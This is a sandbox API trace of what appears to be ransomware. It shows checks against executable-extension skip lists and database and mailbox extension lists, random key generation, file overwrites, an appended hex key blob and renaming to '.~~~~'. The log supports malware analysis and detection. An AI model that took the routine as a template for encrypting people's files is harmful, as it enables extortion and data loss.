	[0083.670] GetCurrentThreadId () returned 0x9f4
	[0083.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaf88
	[0083.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaee0 | out: hHeap=0x300000) returned 1
	[0083.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acac0 | out: hHeap=0x300000) returned 1
	[0083.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaee0
	[0083.671] lstrlenW (lpString=".scr") returned 4
	[0083.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0083.671] lstrlenW (lpString=".cmd") returned 4
	[0083.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0083.671] lstrlenW (lpString=".dll") returned 4
	[0083.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0083.671] lstrlenW (lpString=".bat") returned 4
	[0083.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0083.671] lstrlenW (lpString=".cpl") returned 4
	[0083.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0083.671] lstrlenW (lpString=".sys") returned 4
	[0083.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0083.671] lstrlenW (lpString=".msc") returned 4
	[0083.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0083.671] lstrlenW (lpString=".com") returned 4
	[0083.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0083.671] lstrlenW (lpString=".lnk") returned 4
	[0083.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0083.671] lstrlenW (lpString=".msp") returned 4
	[0083.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0083.671] lstrlenW (lpString=".pif") returned 4
	[0083.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0083.671] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.753] lstrlenW (lpString=".sqb") returned 4
	[0083.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0083.753] lstrlenW (lpString=".ost") returned 4
	[0083.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0083.753] lstrlenW (lpString=".txt") returned 4
	[0083.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0083.753] lstrlenW (lpString=".mdt") returned 4
	[0083.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0083.753] lstrlenW (lpString=".BDB") returned 4
	[0083.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0083.753] lstrlenW (lpString=".eql") returned 4
	[0083.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0083.753] lstrlenW (lpString=".DBF") returned 4
	[0083.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0083.753] lstrlenW (lpString=".EQL") returned 4
	[0083.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0083.753] lstrlenW (lpString=".FDB") returned 4
	[0083.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0083.753] lstrlenW (lpString=".EDB") returned 4
	[0083.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0083.754] lstrlenW (lpString=".DACPAC") returned 7
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0083.754] lstrlenW (lpString=".VHD") returned 4
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0083.754] lstrlenW (lpString=".DBV") returned 4
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0083.754] lstrlenW (lpString=".dacpac") returned 7
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0083.754] lstrlenW (lpString=".sdf") returned 4
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0083.754] lstrlenW (lpString=".accdb") returned 6
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0083.754] lstrlenW (lpString=".DBX") returned 4
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0083.754] lstrlenW (lpString=".MDT") returned 4
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0083.754] lstrlenW (lpString=".SQB") returned 4
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0083.754] lstrlenW (lpString=".vhd") returned 4
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0083.754] lstrlenW (lpString=".bac") returned 4
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0083.754] lstrlenW (lpString=".mdf") returned 4
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0083.754] lstrlenW (lpString=".BAK") returned 4
	[0083.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0083.754] lstrlenW (lpString=".BAC") returned 4
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0083.755] lstrlenW (lpString=".dbs") returned 4
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0083.755] lstrlenW (lpString=".vhdx") returned 5
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0083.755] lstrlenW (lpString=".NDF") returned 4
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0083.755] lstrlenW (lpString=".dat") returned 4
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0083.755] lstrlenW (lpString=".DBS") returned 4
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0083.755] lstrlenW (lpString=".CKP") returned 4
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0083.755] lstrlenW (lpString=".edb") returned 4
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0083.755] lstrlenW (lpString=".PST") returned 4
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0083.755] lstrlenW (lpString=".dbf") returned 4
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0083.755] lstrlenW (lpString=".SQL") returned 4
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0083.755] lstrlenW (lpString=".pst") returned 4
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0083.755] lstrlenW (lpString=".dbv") returned 4
	[0083.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0083.756] lstrlenW (lpString=".SDF") returned 4
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0083.756] lstrlenW (lpString=".dtxs") returned 5
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0083.756] lstrlenW (lpString=".db3") returned 4
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0083.756] lstrlenW (lpString=".OST") returned 4
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0083.756] lstrlenW (lpString=".dbx") returned 4
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0083.756] lstrlenW (lpString=".DB3") returned 4
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0083.756] lstrlenW (lpString=".DAT") returned 4
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0083.756] lstrlenW (lpString=".VHDX") returned 5
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0083.756] lstrlenW (lpString=".ndf") returned 4
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0083.756] lstrlenW (lpString=".DB") returned 3
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0083.756] lstrlenW (lpString=".sql") returned 4
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0083.756] lstrlenW (lpString=".MYD") returned 4
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0083.756] lstrlenW (lpString=".DBT") returned 4
	[0083.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0083.757] lstrlenW (lpString=".ACCDB") returned 6
	[0083.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0083.757] lstrlenW (lpString=".fdb") returned 4
	[0083.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0083.757] lstrlenW (lpString=".bak") returned 4
	[0083.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0083.757] lstrlenW (lpString=".myd") returned 4
	[0083.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0083.757] lstrlenW (lpString=".DTXS") returned 5
	[0083.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0083.757] lstrlenW (lpString=".ckp") returned 4
	[0083.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0083.757] lstrlenW (lpString=".dbt") returned 4
	[0083.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0083.757] lstrlenW (lpString=".db") returned 3
	[0083.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0083.757] lstrlenW (lpString=".TXT") returned 4
	[0083.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0083.757] lstrlenW (lpString=".MDF") returned 4
	[0083.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0083.757] lstrlenW (lpString=".bdb") returned 4
	[0083.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0083.757] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.758] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0083.759] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.759] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.759] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20374892572) returned 1
	[0083.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9bc19090, dwHighDateTime=0x1d60e1e)) 
	[0083.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9490
	[0083.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9490 | out: hHeap=0x300000) returned 1
	[0083.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aae38
	[0083.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aae38 | out: hHeap=0x300000) returned 1
	[0083.759] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0083.760] GetLastError () returned 0x0
	[0083.760] GetLastError () returned 0x0
	[0083.760] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0083.760] GetLastError () returned 0x0
	[0083.760] GetLastError () returned 0x0
	[0083.762] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff55e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.762] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xaa2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0xaa2, lpOverlapped=0x0) returned 1
	[0083.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.763] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.763] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.763] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.763] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.763] CloseHandle (hObject=0x118) returned 1
	[0083.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0083.763] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.~~~~")) returned 1
	[0083.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0083.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.764] GetLastError () returned 0x0
	[0083.764] RtlWakeConditionVariable () returned 0x365f70
	[0083.764] GetCurrentThreadId () returned 0x9f4
	[0083.764] GetCurrentThreadId () returned 0x9f4
	[0083.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaf88
	[0083.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807d48 | out: hHeap=0x300000) returned 1
	[0083.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9458 | out: hHeap=0x300000) returned 1
	[0083.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807d48
	[0083.764] lstrlenW (lpString=".scr") returned 4
	[0083.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0083.764] lstrlenW (lpString=".cmd") returned 4
	[0083.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0083.765] lstrlenW (lpString=".dll") returned 4
	[0083.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0083.765] lstrlenW (lpString=".bat") returned 4
	[0083.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0083.765] lstrlenW (lpString=".cpl") returned 4
	[0083.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0083.765] lstrlenW (lpString=".sys") returned 4
	[0083.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0083.765] lstrlenW (lpString=".msc") returned 4
	[0083.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0083.765] lstrlenW (lpString=".com") returned 4
	[0083.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0083.765] lstrlenW (lpString=".lnk") returned 4
	[0083.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0083.765] lstrlenW (lpString=".msp") returned 4
	[0083.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0083.765] lstrlenW (lpString=".pif") returned 4
	[0083.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0083.765] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0083.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.776] lstrlenW (lpString=".sqb") returned 4
	[0083.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0083.776] lstrlenW (lpString=".ost") returned 4
	[0083.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
